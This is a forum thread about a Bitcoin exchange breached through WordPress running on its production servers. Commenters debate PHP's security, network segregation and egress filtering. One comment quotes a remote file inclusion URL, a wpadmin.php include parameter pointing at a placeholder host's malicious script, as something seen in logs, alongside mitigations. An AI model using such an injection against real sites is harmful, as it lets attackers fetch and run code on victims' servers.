Bitcoin exchange hacked via WordPress hosted on production machines

https://www.allcrypt.com/blog/2015/03/what-happened-and-whats-going-on/?

by mplewis • 11 years ago

30 35 11 years ago

jamez1• 11 years ago

I like how they tried to come up with answers to most peoples criticisms.

Why on earth would you have Wordpress hosted in the same network as the one with access to your critical infrastructure?

That wouldn't fly in any finance shop, and they at least they have insurance.

koberstein• 11 years ago

That shouldn't fly anywhere.

dscrd3• 11 years ago

Why would they have a host with PHP installed on the same server where money is handled?! Totally irresponsible.

I'm being serious. Unless you have Facebook's resources (and probably not even then) DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY! If you are, start a migration process today. Whatever you think it'll cost, it'll be worth it.

If you cannot decide from the billions of choices out there, go with Go. It's hardly perfect, but way better and simple.

sanswork10• 11 years ago

Which features of Go would you say make it inherently more secure to use than php given the same developer?

ukigumo8• 11 years ago

It may come as a surprise to many, but on high security services such as banks, servers that handle critical data cannot have any build tools installed or usable.

Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies.

nadams• 11 years ago

DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY!

Using [your favorite scripting language] doesn't magically make things like SQL injection and other bad practices go away. There are ways to mitigate those issues by using frameworks in those languages - but really the issue here isn't "OMG PHP SUCKS" but rather Wordpress sucks for allowing something like this work:

wpadmin.php?include=http://someothersite.com/some-bad-script.php

I have seen that numerous times in my logs. There are settings in PHP configuration where you can actually prevent external downloading of scripts.

However, ignoring the scripting language itself - the server itself could have mitigated behind a firewall and not allowing any outbound web browsing (obviously inbound 80 needs to be open - but there is no reason why it should be allowed to "browse" the web). Or even more limited outbound connection.

Go browse some github projects (obviously those not using a framework) by random people in different languages - you will see that given the opportunity people will still do stupid things - even if the language makes it really hard to do it - as the saying goes "life finds a way".

spacemanmatt4• 11 years ago

I note a lot of downvotes for comments generally blaming PHP for this hack. That is sad and reflects a significant failure to grasp history.

PHP has been a security problem from day 1. Wordpress has only increased the scope of attack surfaces, as well as introduced a popular application which is itself susceptible to compromise. I've seen arguments that PHP is the root cause of those application vulnerabilities, but I tend to aim even lower and point to application developers who use PHP.

Unless your core app is in PHP and all your efforts go to securing that thing, there is no justification for allowing PHP on a production network. It is not a trivial thing to secure.

sanswork10• 11 years ago

That's because blaming the language for this hack is silly and simple minded. php had nothing to do with the multitude of failures in basic security practices that happened here.

ukigumo8• 11 years ago

The part that shocks me the most about this attack is the userbalances table. What a terrible decision to give up on securing the integrity of your most important data in the name of performance.

fletom• 11 years ago

According to them their marketing guy clearly had to have the ability to upload arbitrary executable files to their Wordpress site. Which by the way ran their entire exchange and had direct read/write access to their balances database.

That's utterly comical. It makes me think there should be a The Onion for crypto/infosec news because I haven't laughed that hard in a while. I feel bad for them but thinking they could run a cryptocurrency exchange with a solid zero on the scale of zero to having a clue about security was pure hubris on their part.

Also the author's level of denial about their incompetence is incredible:

"Even the most secure systems can be circumvented with enough time and ingenuity."

"And we were secure and solid for a year..."

"Well, due to some apparent exploit in wordpress, someone, somehow, got into the server tonight, installed some files, and managed to empty the goddamned BTC wallet. Best I can tell it was something with that worthless pile of shit software wordpress." (earlier notice on allcrypt.com)

8557056• 11 years ago

As Sterling Archer put it: "Holy shit. [That] security is atrocious. Seriously, it’s really bad. [...] No way. It can’t be. Jesus Christ, that is just Baby Town frolics."

Bitcoin exchange hacked via WordPress hosted on production machines

Related Stories